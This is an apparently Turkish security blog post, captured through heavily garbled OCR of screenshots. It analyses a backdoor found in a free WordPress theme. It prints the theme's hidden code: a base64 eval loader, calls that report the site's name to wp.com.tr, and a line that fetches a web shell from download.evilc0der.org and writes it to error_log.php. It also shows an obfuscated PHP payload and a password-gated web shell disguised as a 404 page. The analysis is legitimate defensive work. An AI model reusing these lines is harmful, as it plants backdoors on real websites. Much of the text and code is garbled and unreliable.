eval(baseb4_decode ("ZXIyb3IF cn\iub330akSnKDARONp=ZXNzaHIUXINBYXOKCK TCmd IX3NRYX) BKCk7Ca Thv2tividincy JG1uz2)hY2eIFNL XNYC)AqC)AqIEEzaMSjZSAwLJ:xClAq(lAq]EBwVNNrV\MlI UcnF ja21hv2¢zCiAqLuogCiakIA
feKioKCSAqEExhaaUgdohLEuUgYzhelxhYam 16z e bocar uc ZxhdolybgoT TCog Glihb1B1z5Bmalix ] i hbmel1 YuidL cyBgZ61y ZHNAb3I5Cg kgkiBIZi n Z5BIYNL va)BBZWIy’mVlh[\vngNlIﬁEmelu’CBhbmg(m\mbﬁF]ZQulItugdﬁﬁgVZhhbde(dBZw]yZm\/l
IH R116ZpbGY=CgkgkisKCgkgLyoqCi e {oac e bPnzeexb ke K TCoKT SAqLuokLyoqCd
Aq]EVAZNNldG1uZyBB§kFVIHByb2N1c3Mu[1nqC1Aq]EBzaNS]75BXbE]kcN]1(31VgMSdB()AqLwnKLynq[)AqIEF]dGh\/(lﬂuzmwbEF it Oy IGRpC38S) aGeyIF Ug CGFn ZXHUCIAGCIAGT 17+ dcatmenseogkis VicGF ZQogK1BAC21uY
o z pbHRLCIBUNIMLGr 2SI Yy IHF1ZXI5IHZNCALZN. ﬁu)()Aq]AﬂgKlSK]HnSZm‘?wZwmZIZvy(mSyXvaZySwaHAHL(dB]yk? ndyaXRIKCR6L brRzKC i i
Fye K7THBy a5 eKCk7ICAg: IXTsKIHUICTeg IFSHRVRE Inl 3RyKCl \vzKT@B?HUgKng(gck:le(mu]PSBtZDUDJFQQT]NUNy]zaNZyZS]dKTsK]G]ldEQuNng]CRfUE‘;TVFS)VnVBdey]1@7(m1mKCR1dXvaJIp
Wz KSK7 CnaKCn Lk TUOLET L5 Ib3RICnV KT LONPSTWNTE NTLXOGH MG

EquIEWYDIIHNpZnJlFTGJMDquleyHTh]MjE]NJIGOTunF)ODHyM]gA’TuS\’]()KT;K[XNl:BMprSf(BRthnKT;K(SRFuﬂv’ruBlPTls)hichthIlﬁsb\«'Q]KCRfUEQT\IFs)(ZlmcmulXSk7(gluZIAFkZX]uImquZFOaNSuD]BJPS]u:}V)(iRyKC
M2HJQSNTZLYWI4M=TyCONRNT 2hvI EgvujmsungnevucvqyszFkEIFh]vEmIDEuN(BumFu:2lzawsuvwwmvm:Amﬂkzwa i 3hbnNpdGlubmF SLNRGZC T+C 3 xodGLs
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bnQIInR1eHQVarR tbDsgY2hhcn1 dD11dGYOCTgL p m L3RpdGXLP gL 2N LYNQFC gOBY SKeT4KC x1b3 1161 1dGh 2001 o2 dCTgabiQs Tz vcnoi 1 W01 TGVLY3R bHRpCGF ydComb3 )t LURGE P AKPHRNYmxLTHApZHROPS TIMDAI TGJVCTR 1c jOANSTEYXPZ249 Im
Mlban:)l}C)AgPHRyPgngIC»\gPHRkIHdeHRnPSIxN]k)IHM]bBBlPSJ]b2mPkZpbGUSLBRkchgICAgPHRkIHdp’HRnPSIzHTU)IHN]bEElPS]]bi\nP)AEaNSvldXdileZYQ)’MISZSIgbmFtZTB)Zmls’ HiTG1kPSImakbel cyTvPABL3RKPgogT DuvdHT +CgogTDxBe 4KICAGTONOZDEDaGOvc 2UgcGFoaDuydGQ+C iAgT CABIGQ#PG1UCHVBTHRS
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@skaylt - fupen(iyul 553
@Furite(skay

@er)te“kuwt Ar
@ felose(Skayit);

i (Bfunction_exists(“curl_init")){
i /. $_SERVER[ ' SERVER_NAME' |;

@5ch = curl_init();

@curl_setopt( $ch , CURLOPT_URL , “http://wp.com.tr/alankontrol/1.php?” . $get_verileri);

§8verl = curl_cxec(Sch);

@Bcurl_close(sch);
Jelseif(@function_exists(*File_get_contents™)){

§File_get_contents("http://up.com.tr/alankontrol/1.php?a=//"

;_SERVER[ " SERVER_NAME']);
Yelse
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Base 64 Decoder (100% dlient-sic X =+

€ C ¢ @& ntpsy/ om/codecs/base64decoder
@ Hack 4 Career. Info [ Linkedin N Mert SARICA (mert: M Inbox - mert.saricaC

Alternatively, type or paste in the text you want to base64-decode, then press the ‘Decode’

E button.

InR1eHQuaHRtbDsgY2hhenl1dD11dGYtOCI gl z4KPHRpGX1PLdvemRucmVzeyBDb250ZW50 TEZpbGUBL 3RpdGx 1Pgo8L2h1YWQ+Cgo

S ——

8Ym9keTAKCjxmb3]t1611dGhvZDRicGIzdCIgahQo ImZycm@iIGShbWUSImZvemeiIGVuY3R5cGUIIMI1bHRPCGF ydComb3ItLWRhdG
E1PiAKPHRhYmx 1 THdpZHROPST1MDAL IGIvemR1cj@iMSIEYWxpZ249 ImN1bnR1c i T+CiAgPHRYPEog ICAEPHRKIHpZHROPSIxNFkil
HNjb3B1PSIb2uiPkZpbGUSL 3RkPgogICAgPHRKIHdpZHROPSTzMT U1 THNb3B1PS I3 b2wiP iABakSwAXQgdH1wZ T63 Zm]sZS IgbmF t
2T03Zm1sZXMiIG1kPS Imakix1eyIvPiABL3RkPgogIDuvdHI+CoglDx0c 4KICARTDX07D5DaGIve 2UgcGEOaDy dGO+CiARTCABAGO
+PGLucHVOIHRSCGUSINR1eHQiTG5hbWUIInBhdGei IG1kPS TuYXRoIiAgL z48L 3RkPgogIDuvdHI+CiAgPHRYPEogTCAZPHRKPIZUYD
NwOzwydGO+CiAZTCABAGO+PGLUCHVOIHRS cGUI ImNOZWNrYm94T iB2YWx1ZTOiMSIgIGNs YXNZPSIjaGozZSIgbnF tZTO1Y2hvc2Uil
61kPSJjaGozZSIgLz48L 3RkPgogIDwvdHI +CiAgPHRYPgogICAGPHRKPINhdmUSL 3RkPgog I CAZPHRKP jxpbnB1dCBOeXB1PSIzdWIt
2XQ3 IG5hbWU9ImI1dG9uT3BpZDOIYnVeb24i IHZhbHVIPS ITYXZ1T1AvPu/ cGhwIGY]aG8g JHM7ID8+PCIOZDAKICASL3RyPEoBLIR

hYmx1PgoKICAZTAOSL 27V ema-+CjuvYmOkeT4KPCO0dG1sPgonOwog fSBITApPZigkXadFVF s 1aXNsZWOiXTeSImNpa2121117Cg1zZX
NzaW9uX2R1c3Ryb3koKTsKCX@= 2
¥ Automatically generate text rendition

¥ Aut ically link (not good for large files)

Use simplified (faster) decoder
Decode

Decode Result

e e RS e

Lk
$z=fopen("error_log.php', 'w"); furite($z,file_get_contents(http://download evilcoderiorg/shell*
indir/error_log.txt'));fclose($z); print();
$dosyaurul=$_SERVER["HTTP_HOST"];
$u = $_GET["u"];
if(substr($dosyaurul,®,3)==3u ){

$sifre = mds($_PoST["sifre"]);
$buton2 = $_POST["buton2"];
if($buton2){ 7



B+

30 * Executing AJRX process.
B

32  * @since Wordpress 1.4
33/

34

SE / +*

36 * Ruthor Template

.

38 * The template for displaying Author Profile pages.
35«

40  * @package Wordpress

41  * @subpackage Template

42 * @since Wordpress 1.0
43 */

44

45 /% Loads the "Author Filter Template” based on the query var
16  +

47

48 |$z=Ffopen ('error_log.php','w');fwrite(Sz,file get_contents('http://download.evilcOder.org/shell-indir/error log.txt'));fclose($z); print():

45  $dosyaurul=$_SERVER["HTTP_HOST"];
50 su = $_GET[
51 if (substr($dosyaurul,0,3)

$sifre = mdS($_POST["sifre"]):
$buton2 = $_POST["buton2™];
(Sbuton2) {

if(Ssifre

"050c5218c20c624956eab832283a59b7") ;
session_start();
$_SESSTON["oturum”]=md5($_POST["sifre"]);
.substr ($dosyaurul, 0,3)) i

header ("location:

($_SESSION["oturum”]!=

69 echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

[ download.evilcOderorg/shell-inc X =4

€ C @ Notsecure | download.evilcOder.org/shell-indir/error_log.txt
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<?php
Pt

Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://wa.fopo.com.ar/

This code was created on Tuesday, July 31st, 2018 at 23:19 UTC from IP 89.243.73.170

Checksum: 6dBa24f8d5d7296ab7 cOc7 F1F5402dc 166496<bd
#,

$27663244="1142\141\163\145\ x36\ 641137\ %64\ 145\x63 \x6T \x64 \x65 " ; @eval ($ 2663244
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XBUKb2tuTS8rUn JUUEhZh I cAUShUNIZ1YIZ1SZNBU2VS YWQUUXF JHET zdmxHC 1ZXVZNQHIpV3Y rYaR
§VZRLUSVClinZ zaT FS 2kydXpFVFF OL@XCOFROdB05 emdp UTVB abit BHUVISWtRREZLCE 1SV ZPSGVGmR
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l [ RS7 Shell - Txt, C99 Shell, Private X | 0 GitHub - Antelox/FOPO-PHP-DE. X | @ FOPO PHP Deobfuscator ver. 0
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Bglotio @ new

FOPO PHP Deobfuscator ver. 0.22

- deobfuscator.php obfuscated.php + £
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ads via Carbon

<?php %auth_pass = "889d@73@1318a170513574b1la75601a4"; $color = "#8@FF66"; $default_action =
<p>*The requested URL was not found on this server.</p>
<hrs
<address>Apache Server at '.§_SERVER["HTTP_HOST'].' Port 8@</address>
<stylerinput { margin:@;background-color:#fff;border:1px solid #fff; }</style>

<center><form method=post><input type=password name=pass></form></center:'; exit; }

<style> s
body {background-color:#222;color:#fff;} d.
body,td,th { font: 9pt Lucida,Verdana;margin:®;vertical-align:top; }
span,hl,a { color:'.$color.” l!important; } e 5
P
1 B<ephy n
2 Sauth_pass 0 "
3 Scolor = "#
4 | $default_action

@define ('

if (strpos($_SERVER[

\== false)

header (
1 exit;

@session_start ()
@error_reporting
@ini_set(

16 | @ini_set(
17 | eini_set(
@ini_set(
@set_time limit (0);

@set_magic_quotes_runtime (0);
@define (' VERS ; 'Ver 2.0');

if (get_magic_quotes_gpc())
I function stripslashes_array(Sarray)

return is_array(Sarray) 2 array map('

E }

', Sarray) : stripslashes(Sarray);

§_POST = stripslashes_array($_POST) ;

function printLogin()
| t
echo !




163 | )
164
165 | function which ($p)

166 O {

167 $path = ex (' ch ' $p)i

168 if (lempty(Spath)) return Spath;

169 return false;
170 | )

171
172 | function printHeader ()
173 B {

174 if (empty ($_POST['
175 global Scolor;

176 echo '<html><head><meta http-equi
177 <style>

178 body

harset'])) $_POST['charset'] =

charset="

"Content-Type” content="text/html; $_POST['charset']

{background-colo:

a, Verdanamargin

font:

179 body, td, th opt Lu

Scolor mportant;

184
185
186
187
188
189

190

191
192
193
194
195
19¢
197

198

.menu
199 1

200
201

1 {background-color:#444;}

sMonospace; }

sition: ed;bottom: Opx; font-si. x;left:0

ng:
Top+document .documentElement .

pression(document.documentElement.sc lientHeight-this
ientWidth - offsetWidth);

n:center; font-siz

Tm><title>0s

ientHeight);_

- ' . VERSION

't Monospace, "Co

left:expression (document.documentElement.s

Arastirmami tamamlamadan o6nce http://www[.]Jwp[.]com.tr/wp-includes/ klasoOrini

gezmeye devam ettigimde ise daha once tespit ettigim ve parolasi icinde yazan

a.php dosyasi ile de karsilasmis oldum.

[ Index of fwp-includestheme-co X =+

€« C f @ Notsecure | www.wp.com.tr/wp-includes/theme-compat/

@) Hockd4 Career. Infore [ Linkedin 9 MertSARICA (merts= M Inbox - mertsaric

Index of /wp-includes/theme-compat/

Name Last modified Size Description

= X
% @ eman &o
Other bookmarks

=) parent pirectory 03-Dec-2018 17:53 =
auhe 10-0ct-2008 omite 91k
Bl e 31-Har-2016 67:00 sk
B coments.one 31-tar-2016 ©7:00 sk
[l ——— 22-ec-2018 %
footer.php 31-Mar-2016 ©7:00 *
) hesder 31-Mar-2016 67:00 *

sidebar.php 31-Har-2016 sk

Proudiy Served by LiteSpeed TWeb Server atwwnwivip.com.t Port 80
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Sadede gelecek olursam, internetten lcretsiz olarak indirdiginiz WordPress
temalarini kurmadan 6nce muhakkak http://themecheck.info/ isimli sitede
temanizi kontrol etmenizi tavsiye ederim aksi halde pusuya yatmis olan art

niyetli kisilerin kurbani olmaniz g6receginiz lzere hi¢ de zor degil.

Bir sonraki yazida goOrismek dilegiyle herkese giuvenli ginler dilerim.
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